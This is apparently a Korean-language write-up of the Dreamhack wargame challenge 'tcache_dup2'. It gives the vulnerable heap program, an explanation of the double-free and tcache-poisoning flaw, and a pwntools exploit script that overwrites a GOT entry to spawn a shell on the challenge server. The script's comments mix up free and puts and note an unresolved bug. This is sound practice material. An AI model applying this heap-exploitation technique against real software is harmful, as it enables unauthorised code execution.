Wargame - [Dreamhack] tcache_dup2
tcache_dup2 write-up (glibc2.30)
문제의 코드
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
char *ptr[7];
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
}
void create_heap(int idx) {
size_t size;
if (idx >= 7)
exit(0);
printf("Size: ");
scanf("%ld", &size);
ptr[idx] = malloc(size);
if (!ptr[idx])
exit(0);
printf("Data: ");
read(0, ptr[idx], size-1);
}
void modify_heap() {
size_t size, idx;
printf("idx: ");
scanf("%ld", &idx);
if (idx >= 7)
exit(0);
printf("Size: ");
scanf("%ld", &size);
if (size > 0x10)
exit(0);
printf("Data: ");
read(0, ptr[idx], size);
}
void delete_heap() {
size_t idx;
printf("idx: ");
scanf("%ld", &idx);
if (idx >= 7)
exit(0);
if (!ptr[idx])
exit(0);
free(ptr[idx]);
}
void get_shell() {
system("/bin/sh");
}
int main() {
int idx;
int i = 0;
initialize();
while (1) {
printf("1. Create heap\n");
printf("2. Modify heap\n");
printf("3. Delete heap\n");
printf("> ");
scanf("%d", &idx);
switch (idx) {
case 1:
create_heap(i);
i++;
break;
case 2:
modify_heap();
break;
case 3:
delete_heap();
break;
default:
break;
}
}
}
Point
heap을 할당 및 해제하는 기능을 갖는데, 사용 전후에 해당 메모리를 초기화하는 기능이 없다
Dangling Pointer가 존재할 수 있고, 이를 수정할 수 있으므로 Tcache Poisoing이 발생할 수 있다.
Partial RELRO만 적용되어 있으므로got overwrite가능하다
위 분석을 토대로, 이하 시나리오를 작성할 수 있다.
1
2
3
1. Double Free로 Tcache Duplication을 발생시킨다.
2. Tcache Poisoning : `got['puts]`를 할당한다.
3. 해당 GOT table에 get_shell 주소를 삽입한다.
tc_idx
tc_idx가 0이면 tcache가 비어있다고 판단하고 탐색하지 않는다.
Exploit Code
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
"""
libc : 2.30
Partial RELRO
No PIE
=========================
strategy : got overwrite
Tcache Poisoning : got['free']
got['free'] overwrite to sh
"""
from pwn import *
#p = process("./tcache_dup2")
p = remote("host3.dreamhack.games", 16654)
e = ELF("./tcache_dup2")
sh = e.symbols['get_shell']
def slog(name, addr): return success(name + ": " + hex(addr))
def alloc(size, data):
p.sendlineafter(b'> ', b'1')
p.sendlineafter(b': ', str(size).encode())
p.sendafter(b': ', data)
def modify(idx, size, data):
# SIZE <= 0x10
# len(data) <= size
p.sendlineafter(b'> ', b'2')
p.sendlineafter(b': ', str(idx).encode())
p.sendlineafter(b': ', str(size).encode())
p.sendafter(b': ', data)
def free(idx):
p.sendlineafter(b'> ', b'3')
p.sendlineafter(b': ', str(idx).encode())
"""
ptr[0] = chunk 'aaaa'
ptr[1] = got['free']
ptr[2] = chunk 'ffff'
ptr[3] = p64(shell)
ptr[4] = chunk 'aa'
"""
slog("free@got", e.got['free'])
slog("shell", e.symbols['get_shell'])
#pause()
alloc(0x40, b'aaaa')
alloc(0x40, b'aaaa')
free(0)
free(1)
modify(1, 0x10, b'A'*8 + b'\xff')
free(1)
# tcache[0x50] -> chunk A -> chunk A
# i->1
alloc(0x40, p64(e.got['puts']))
# tcache[0x50] -> chunk A -> got['free'] -> real free addr
# i->2
alloc(0x40, b'ffff')
# tcache[0x50] -> got['free'] -> real free addr
# i->3
alloc(0x40, p64(sh))
# got['free'] -> get_shell
# tcache[0x50] -> real free addr
# -- ISSUE : got['puts'] modified to 0x00 automatically.... WHY??
# i->4
#alloc(0x30, b'aa')
#free(4)
# i->5
p.interactive()
This post is licensed under CC BY 4.0 by the author.